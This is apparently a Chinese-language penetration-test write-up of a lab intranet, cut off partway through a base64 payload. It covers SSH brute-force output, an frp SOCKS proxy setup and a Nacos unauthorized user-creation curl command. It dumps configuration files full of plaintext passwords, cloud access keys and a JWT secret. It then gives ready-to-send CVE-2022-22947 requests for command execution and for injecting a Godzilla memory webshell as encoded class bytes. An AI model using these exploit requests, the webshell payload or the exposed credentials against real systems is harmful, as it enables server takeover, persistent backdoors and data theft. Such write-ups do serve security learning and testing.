admin@111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 9/11 [-] ssh 192.168.100.20:22 admin Aa12345 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 11/11
內網存在nacos和springboot,且存在漏洞。既然存在漏洞的話,那就上代理打就行。
1.5 frp代理
kaili作為攻擊機開啟服務端
受害機frpc客戶端的配置如下:
[common]server_addr = 10.30.7.77server_port = 7777
[socks_proxy]type = tcplocal_port = 1090 remote_port =1090 plugin = socks5
受害機上執行
./frpc -c frpc.ini
kali上執行
./frps -c frps.ini
成功代理流量。
02 內網nacos
2.1 nacos未授權
代理之後,訪問地址:
http://192.168.100.50:8848/nacos/#/login
使用預設賬號密碼nacos/nacos登入失敗,不過根據掃描出來的資訊知道這裡的nacos存在未授權漏洞,可以任意新增使用者。
配置好proxychains,執行以下命令新增使用者:
proxychains curl -XPOST 'http://192.168.100.50:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'
成功新增使用者,登入即可
存在一些配置檔案
gateway
spring: cloud: gateway: routes: - id: index uri: lb://product-server predicates: - Method=GET
admin-api
# 專案相關配置admin-api: # access_key_id 你的亞馬遜S3伺服器訪問金鑰ID accessKey: AAAZKIAWTRDCOOZNINALPHDWN # secret_key 你的亞馬遜S3伺服器訪問金鑰 secretKey: LAX2DAwi7yntlLnmOQvCYAAGITNloeZQlfLUSOzvW96s5c # bucketname 你的亞馬遜S3伺服器建立的桶名 bucketName: kefu-test-env # bucketname 你的亞馬遜S3伺服器建立的桶名 regionsName: ap-east-1 # questionPicture 問題型別圖片上傳資料夾名稱 questionPicture: questionFolder # chatPicture 聊天圖片上傳資料夾名稱 chatPicture: chatFolder # rechargePicture 代客充值圖片上傳資料夾名稱 rechargePicture: rechargeFolder # 獲取ip地址開關 addressEnabled: true # 中後臺的地址 url: http://localhost # 中後臺API地址 seektopserUrl: http://localhost/api/partner/user/info/base # 中後臺API請求APPID seektopAppId: A9AA30D1D30F459VS7B83C054B3EAD770D # 中後臺API請求金鑰 seektopSecretKey: yT2BivSJLCR4lHb8SzhNFmHSF12pBm+a4IfdF42/a1quQdu5wqznM7YA== # 客服關閉會話配置時間 closeChannelTime: 3 # redis-task服務請求地址 redisTaskUrl: http://localhost:8586 im: server: url: https://localhost:9507 secret: ^look^
server: port: 8500 servlet: context-path: /api
#配置資料來源spring: datasource: druid: url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%!
main: allow-bean-definition-overriding: true
jpa: hibernate: # 生產環境設定成 none,避免程式執行時自動更新資料庫結構 ddl-auto: none
redis: #資料庫索引 database: 0 host: 127.0.0.1 port: 6379 password: nbsg@123456 #連線超時時間 timeout: 50000
elasticsearch: nodes: es.localhost:9200
# 多資料來源配置gt: root: boot: #主動開啟多資料來源 multiDatasourceOpen: true datasource[0]: dbName: slave url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%!
#jwtjwt: header: Authorization # 令牌字首 token-start-with: Bearer # 必須使用最少88位的Base64對該令牌進行編碼 base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI= # 令牌過期時間 此處單位/毫秒 ,預設4小時,可在此網站生成 https://www.convertworld.com/zh-hans/time/milliseconds.html token-validity-in-seconds: 14400000 # 線上使用者key online-key: online-token # 驗證碼 code-key: code-key
#是否允許生成程式碼,生產環境設定為falsegenerator: enabled: false
#是否開啟 swagger-uiswagger: enabled: true
# 檔案儲存路徑file: mac: path: ~/file/ avatar: ~/avatar/ linux: path: /home/admin/file/ avatar: /home/admin/avatar/ windows: path: C:\admin\file\ avatar: C:\admin\avatar\ # 檔案大小 /M maxSize: 100 avatarMaxSize: 5
#七牛雲qiniu: # 檔案大小 /M max-size: 15
#郵箱驗證碼有效時間/分鐘code: expiration: 5
#登入圖形驗證碼有效時間/分鐘loginCode: expiration: 2
# sm.ms 圖床的 tokensmms: token: 1oOP3ykFDI0K6ifmtvU7c8Y1eTWZSlyl
task: pool: # 核心執行緒池大小 core-pool-size: 10 # 最大執行緒數 max-pool-size: 30 # 活躍時間 keep-alive-seconds: 60 # 佇列容量 queue-capacity: 50
#將該工程應用名稱新增到計量器登錄檔的 tag 中#開啟 Actuator 服務management: endpoints: web: exposure: include: '*' metrics: tags: application: admin-api
xxl-JOB
server: port: 8080 servlet: context-path: /xxl-job-admin
management: server: servlet: context-path: /actuator health: mail: enabled: false
spring: mvc: servlet: load-on-startup: 0 static-path-pattern: /static/** resources: static-locations: classpath:/static/ freemarker: templateLoaderPath: classpath:/templates/ suffix: .ftl charset: UTF-8 request-context-attribute: request settings: number_format: 0.##########
datasource: url: jdbc:mysql://127.0.0.1:3306/xxl-job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai username: root password: root_pwd driver-class-name: com.mysql.cj.jdbc.Driver type: com.zaxxer.hikari.HikariDataSource hikari: minimum-idle: 10 maximum-pool-size: 30 auto-commit: true idle-timeout: 30000 pool-name: HikariCP max-lifetime: 900000 connection-timeout: 10000 connection-test-query: SELECT 1 mail: host: smtp.qq.com port: 25 username: xxx@qq.com from: xxx@qq.com password: xxx properties: mail: smtp: auth: true starttls: enable: true required: true socketFactory: class: javax.net.ssl.SSLSocketFactory
mybatis: mapper-locations: classpath:/mybatis-mapper/*Mapper.xml
xxl: job: accessToken: X336qlhSuYz2Nshk i18n: zh_CN triggerpool: fast: max: 200 slow: max: 100
logretentiondays: 5
domain-service
server: port: 8300 servlet: context-path: /domain mybatis: # 搜尋指定包別名 typeAliasesPackage: com.domain.**.domain # 配置mapper的掃描,找到所有的mapper.xml對映檔案 mapperLocations: classpath*:mapper/*Mapper.xml # 載入全域性的配置檔案 configLocation: classpath:mybatis/mybatis-config.xml
#配置資料來源spring: datasource: url: jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%!
main: allow-bean-definition-overriding: true
redis: #資料庫索引 database: 0 host: 127.0.0.1 port: 6379 password: nbsg@123456 #連線超時時間 timeout: 50000 #jwtjwt: header: Authorization # 令牌字首 token-start-with: Bearer # 必須使用最少88位的Base64對該令牌進行編碼 base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI= # 令牌過期時間 此處單位/毫秒 ,預設4小時,可在此網站生成 https://www.convertworld.com/zh-hans/time/milliseconds.html token-validity-in-seconds: 14400000 # 線上使用者key online-key: online-token # 驗證碼 code-key: code-key
# 檔案儲存路徑file: mac: path: ~/file/ avatar: ~/avatar/ linux: path: /home/admin/file/ avatar: /home/admin/avatar/ windows: path: C:\admin\file\ avatar: C:\admin\avatar\ # 檔案大小 /M maxSize: 100 avatarMaxSize: 5
#登入圖形驗證碼有效時間/分鐘loginCode: expiration: 2
# sm.ms 圖床的 tokensmms: token: 1oOP3ykFDI0K6ifmtvU7c8Y1eTWZSlyl
task: pool: # 核心執行緒池大小 core-pool-size: 10 # 最大執行緒數 max-pool-size: 30 # 活躍時間 keep-alive-seconds: 60 # 佇列容量 queue-capacity: 50
admin-api-bb
# 專案相關配置admin-api: # access_key_id 你的亞馬遜S3伺服器訪問金鑰ID accessKey: AAKIAWTRDCOOZNINALPHDWN # secret_key 你的亞馬遜S3伺服器訪問金鑰 secretKey: 2DAwi7yntlLnmOQvCYAAGITNloeZQlfLUSOzvW96s5c # bucketname 你的亞馬遜S3伺服器建立的桶名 bucketName: kefu-test-env # bucketname 你的亞馬遜S3伺服器建立的桶名 regionsName: ap-east-1 # questionPicture 問題型別圖片上傳資料夾名稱 questionPicture: questionFolder # chatPicture 聊天圖片上傳資料夾名稱 chatPicture: chatFolder # 獲取ip地址開關 addressEnabled: true # 中後臺的地址 url: http://127.0.0.1 # 中後臺API地址 seektopserUrl: http://127.0.0.1/api/partner/user/info/base # 中後臺API請求APPID seektopAppId: A9AA30D1D30F4597B83C054B3EAD770D # 中後臺API請求金鑰 seektopSecretKey: yT2BivSJLCR4lHb8hNFmHSF12pBm+a4IfdF42/a1quQdu5wqznM7YA== # 客服關閉會話配置時間 closeChannelTime: 3 # redis-task服務請求地址 redisTaskUrl: http://localhost:8586 # SEO 代理帳號 seoAgentName: im: server: url: http://localhost:9507/ secret: ^look^
server: port: 8500 servlet: context-path: /api
#配置資料來源spring: datasource: druid: url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%!
main: allow-bean-definition-overriding: true
jpa: hibernate: # 生產環境設定成 none,避免程式執行時自動更新資料庫結構 ddl-auto: none
redis: #資料庫索引 database: 0 host: 127.0.0.1 port: 6379 password: nbsg@123456 #連線超時時間 timeout: 50000
elasticsearch: nodes: es.localhost:9200
# 多資料來源配置gt: root: boot: #主動開啟多資料來源 multiDatasourceOpen: true datasource[0]: dbName: slave url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%!
#jwtjwt: header: Authorization # 令牌字首 token-start-with: Bearer # 必須使用最少88位的Base64對該令牌進行編碼 base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI= # 令牌過期時間 此處單位/毫秒 ,預設4小時,可在此網站生成 https://www.convertworld.com/zh-hans/time/milliseconds.html token-validity-in-seconds: 14400000 # 線上使用者key online-key: online-token # 驗證碼 code-key: code-key
#是否允許生成程式碼,生產環境設定為falsegenerator: enabled: false
#是否開啟 swagger-uiswagger: enabled: true
# 檔案儲存路徑file: mac: path: ~/file/ avatar: ~/avatar/ linux: path: /home/admin/file/ avatar: /home/admin/avatar/ windows: path: C:\admin\file\ avatar: C:\admin\avatar\ # 檔案大小 /M maxSize: 100 avatarMaxSize: 5
#七牛雲qiniu: # 檔案大小 /M max-size: 15
#郵箱驗證碼有效時間/分鐘code: expiration: 5
#登入圖形驗證碼有效時間/分鐘loginCode: expiration: 2
# sm.ms 圖床的 tokensmms: token: 1oOP3ykFDI0K6ifmtvU7c8Y1eTWZSlyl
task: pool: # 核心執行緒池大小 core-pool-size: 10 # 最大執行緒數 max-pool-size: 30 # 活躍時間 keep-alive-seconds: 60 # 佇列容量 queue-capacity: 50
redis-task
server: port: 8586
api: task: url: http://127.0.0.1/api/office/taskHandle
knife4j: redis: host: 0.0.0.0 password: nbsg@123456 port: 6379 databases: 0,1,2,3,4,5,6,7 timeout: 60000
logging: config: classpath:logback.xml
xxl: job: admin: addresses: http://127.0.0.1:8998/xxl-job-admin accessToken: X336qlhSuYz2Nshk executor: appname: redis-task address: ip: port: 5599 logpath: /data/logs/xxl-job/redis-task logretentiondays: 5
app: mq: delay: queue: bb_DELAY_QUEUE exchange: bb_delay_exchange
spring: rabbitmq: host: 127.0.0.1 port: 5672 username: admin password: global2018# virtualHost: /
從以上這些配置檔案中得到一些密碼,還有一些key(本次環境沒有用到,就不寫了,實戰中可以用對應雲的連線工具試試)
Pabc@234%!nbsg@123456root_pwd
從配置中看出是mysql和redis相關的賬密,不過nacos這臺主機沒有掃描到開放對應的埠,nacos的收集就到此結束,沒有有用的資訊了。
2.2 springboot未授權
未授權地址:
http://192.168.100.50:8800/actuator/env
這是springboot的環境變數
還有其他的就不一一列舉了
/actuator/configprops # 顯示所有@ConfigurationProperties/actuator/env # 公開 Spring 的ConfigurableEnvironment/actuator/health # 顯示應用程式執行狀況資訊/actuator/httptrace # 顯示 HTTP 跟蹤資訊/actuator/metrics # 顯示當前應用程式的監控指標資訊。/actuator/mappings # 顯示所有@RequestMapping路徑的整理列表/actuator/threaddump # 執行緒轉儲/actuator/heapdump # 堆轉儲/actuator/jolokia # JMX-HTTP橋,它提供了一種訪問JMX beans的替代方法
2.3 Spring-Cloud-CVE-2022-22947
漏洞利用exp如下:
先建立一個路由,返回201表示建立成功
POST /actuator/gateway/routes/bolean HTTP/1.1Host:192.168.100.50:8800Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329
{ "id": "bolean", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com"}
使用hackbar發包
重新整理路由
POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.100.50:8800Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
訪問路由:
http://192.168.100.50:8800/actuator/gateway/routes/bolean
成功命令執行,接下來就是寫shell了
寫哥斯拉馬的payload
POST /actuator/gateway/routes/bolean1 HTTP/1.1Host: 192.168.100.50:8800Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 10956
{ "id": "bolean1", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBeAoADQC2BwC3CgACALYJABIAuAoAAgC5CQASALoKAAIAuwoAEgC8CQASAL0KAA0AvggAcgcAvwcAwAcAwQcAwgoADADDCgAOAMQHAMUIAJ8HAMYHAMcKAA8AyAsAyQDKCgASALYKAA4AywgAzAcAzQoAGwDOCADPBwDQBwDRCgDSANMKANIA1AoAHgDVBwDWCACBBwCECQDXANgKANcA2QgA2goA2wDcBwDdCgAVAN4KACoA3woA2wDgCgDbAOEIAOIKAOMA5AoAFQDlCgDjAOYHAOcKAOMA6AoAMwDpCgAzAOoKABUA6wgA7AoADADtCADuCgAMAO8IAPAIAPEKAAwA8ggA8wgA9AgA9QgA9ggA9wsAFAD4EgAAAP4KAP8BAAcBAQkBAgEDCgBHAQQKABsBBQsBBgEHCgASAQgKABIBCQkAEgEKCAELCwEMAQ0KABIBDgsBDAEPCAEQBwERCgBUALYKAA0BEgoAFQETCgANALsKAFQBFAoAEgEVCgAVARYKAP8BFwcBGAoAXQC2CABlCAEZAQAFc3RvcmUBAA9MamF2YS91dGlsL01hcDsBAAlTaWduYXR1cmUBADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEABHBhc3MBABJMamF2YS9sYW5nL1N0cmluZzsBAANtZDUBAAJ4YwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAOTG1zL0dNZW1TaGVsbDsBAAhkb0luamVjdAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVcmVnaXN0ZXJIYW5kbGVyTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAANtc2cBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEcGF0aAEADVN0YWNrTWFwVGFibGUHAM0HAMcBABBNZXRob2RQYXJhbWV0ZXJzAQALZGVmaW5lQ2xhc3MBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAApjbGFzc2J5dGVzAQACW0IBAA51cmxDbGFzc0xvYWRlcgEAGUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAZtZXRob2QBAApFeGNlcHRpb25zAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABcwEAAW0BAAFaBwDFBwEaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAB1MamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEAA3JldAEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAJicwEABXZhbHVlAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAANjbWQBAF0oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAAxidWZmZXJTdHJlYW0BAAJleAEABXBkYXRhAQAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTsBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA1TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9Qb3N0TWFwcGluZzsBAAQvY21kAQANbGFtYmRhJGNtZCQxMQEARyhMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7KUxyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm87AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAJpZAEABGRhdGEBAChMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7AQAGcmVzdWx0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwcAtwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEADkdNZW1TaGVsbC5qYXZhDABpAGoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAZQBmDAEbARwMAGgAZgwBHQEeDABnAJIMAGcAZgwBHwEgAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAEhASIMASMBJAEADG1zL0dNZW1TaGVsbAEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZQEAEGphdmEvbGFuZy9TdHJpbmcMASUBKAcBKQwBKgErDAEsAS0BAAJvawEAE2phdmEvbGFuZy9FeGNlcHRpb24MAS4AagEABWVycm9yAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAS8MATABMQwBMgEzDABpATQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHATUMATYAmQwBNwE4AQADQUVTBwEaDAE5AToBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDAE7ATwMAGkBPQwBPgE/DAFAAUEBAANNRDUHAUIMATkBQwwBRAFFDAFGAUcBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwBSAE8DABpAUkMAR0BSgwBSwEeAQAQamF2YS51dGlsLkJhc2U2NAwBTAFNAQAKZ2V0RW5jb2RlcgwBTgEiAQAOZW5jb2RlVG9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAFPAVABAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBUQFSAQAQQm9vdHN0cmFwTWV0aG9kcw8GAVMQAVQPBwFVEACpDAFWAVcHAVgMAVkBWgEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcBWwwBXAFdDABpAV4MAV8BHgcBYAwBYQFUDACcAJ0MAIkAigwAYQBiAQAHcGF5bG9hZAcBYgwBYwFUDACBAIIMAWQBZQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBZgFnDAFoAWkMAWoBPAwAlQCWDAFoAUoMAWsBbAEAEWphdmEvdXRpbC9IYXNoTWFwAQAQM2M2ZTBiOGE5YzE1MjI0YQEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAVwYXRocwEAB0J1aWxkZXIBAAxJbm5lckNsYXNzZXMBAGAoW0xqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAElvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAFYnVpbGQBAEUoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2dldEZvcm1EYXRhAQAfKClMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwoBbQFuAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKABIBbwEABWFwcGx5AQAtKExtcy9HTWVtU2hlbGw7KUxqYXZhL3V0aWwvZnVuY3Rpb24vRnVuY3Rpb247AQAbcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vAQAHZmxhdE1hcAEAPChMamF2YS91dGlsL2Z1bmN0aW9uL0Z1bmN0aW9uOylMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgEACmdldE1lc3NhZ2UBACZvcmcvc3ByaW5nZnJhbWV3b3JrL3V0aWwvTXVsdGlWYWx1ZU1hcAEACGdldEZpcnN0AQANamF2YS91dGlsL01hcAEAA2dldAEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAEanVzdAEAMShMamF2YS9sYW5nL09iamVjdDspTHJlYWN0b3IvY29yZS9wdWJsaXNoZXIvTW9ubzsHAXAMAXEBdAwAqACpAQAiamF2YS9sYW5nL2ludm9rZS9MYW1iZGFNZXRhZmFjdG9yeQEAC21ldGFmYWN0b3J5BwF2AQAGTG9va3VwAQDMKExqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTspTGphdmEvbGFuZy9pbnZva2UvQ2FsbFNpdGU7BwF3AQAlamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzJExvb2t1cAEAHmphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcwAhABIADQAAAAQACQBhAGIAAQBjAAAAAgBkAAkAZQBmAAAACQBnAGYAAAAJAGgAZgAAAAoAAQBpAGoAAQBrAAAALwABAAEAAAAFKrcAAbEAAAACAGwAAAAGAAEAAAAWAG0AAAAMAAEAAAAFAG4AbwAAAAkAcABxAAIAawAAAUgABwAGAAAAkLsAAlm3AAOyAAS2AAWyAAa2AAW2AAe4AAizAAkqtgAKEgsGvQAMWQMSDVNZBBIOU1kFEg9TtgAQTi0EtgAREhISEwS9AAxZAxIUU7YAEDoEBL0AFVkDK1O4ABa5ABcBADoFLSoGvQANWQO7ABJZtwAYU1kEGQRTWQUZBVO2ABlXEhpNpwALTi22ABwSHU0ssAABAAAAgwCGABsAAwBsAAAAMgAMAAAAHQAcAB4AOQAfAD4AIABQACEAYgAiAIAAIwCDACcAhgAkAIcAJQCLACYAjgAoAG0AAABSAAgAOQBKAHIAcwADAFAAMwB0AHMABABiACEAdQB2AAUAgwADAHcAZgACAIcABwB4AHkAAwAAAJAAegB7AAAAAACQAHwAZgABAI4AAgB3AGYAAgB9AAAADgAC9wCGBwB+/AAHBwB/AIAAAAAJAgB6AAAAfAAAAAoAgQCCAAMAawAAAJ4ABgADAAAAVLsAHlkDvQAfuAAgtgAhtwAiTBIjEiQGvQAMWQMSJVNZBLIAJlNZBbIAJlO2ABBNLAS2ABEsKwa9AA1ZAypTWQQDuAAnU1kFKr64ACdTtgAZwAAMsAAAAAIAbAAAABIABAAAAC0AEgAuAC8ALwA0ADAAbQAAACAAAwAAAFQAgwCEAAAAEgBCAIUAhgABAC8AJQCHAHMAAgCIAAAABAABABsAgAAAAAUBAIMAAAABAIkAigACAGsAAADXAAYABAAAACsSKLgAKU4tHJkABwSnAAQFuwAqWbIABrYAKxIotwAstgAtLSu2AC6wTgGwAAEAA